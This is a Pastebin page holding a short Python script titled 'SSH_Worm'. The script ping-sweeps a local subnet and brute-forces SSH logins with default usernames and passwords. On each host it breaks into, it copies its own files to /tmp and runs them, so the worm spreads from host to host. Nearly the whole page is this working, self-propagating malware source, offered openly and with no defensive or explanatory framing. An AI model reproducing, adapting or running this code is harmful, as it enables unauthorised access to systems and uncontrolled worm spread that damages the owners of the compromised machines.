Advertisement
Guest User

SSH_Worm

a guest
Jun 9th, 2016
87
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.57 KB | None | 0 0
  1. import paramiko, sys, os, glob
  2.  
  3. user = ['admin','root']
  4. pwrd = ['toor', 'password']
  5. path = sys.path[0]
  6.  
  7. def upload(connection):
  8.         print '[*] Uploading Payload & Executing'
  9.         sftp = connection.open_sftp()
  10.         for i in glob.glob(path+"/*"):
  11.                 print '[*] Uploading file: '+i
  12.                 try:
  13.                         sftp.put(i, "/tmp/"+i.replace(path, ""))
  14.                 except Exception as e:
  15.                         print e
  16.        
  17.         connection.exec_command("cd /tmp/;chmod +x sshworm;./sshworm")
  18.         print '[+] Done'
  19.  
  20. def attack(ip):
  21.         ssh = paramiko.SSHClient()
  22.         ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
  23.         for i in user:
  24.                 un = i
  25.                 for i in pwrd:
  26.                         pw = i
  27.                         try:
  28.                                 print '[*] Trying '+un+' : '+pw
  29.                                 ssh.connect(ip, username=un, password=pw, timeout=1)
  30.                                 print '[+] Success'
  31.                                 upload(ssh)
  32.                                 return
  33.                         except paramiko.AuthenticationException:
  34.                                 continue
  35.                         except:
  36.                                 continue
  37.  
  38. if __name__ == "__main__":
  39.         print '[*] Scanning'
  40.         for i in range(256):
  41.                 hostname = "10.0.0."+str(i) #example
  42.                 response = os.system("ping -c 1 -t 1 " + hostname)
  43.                 if response == 0:
  44.                         attack(hostname)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement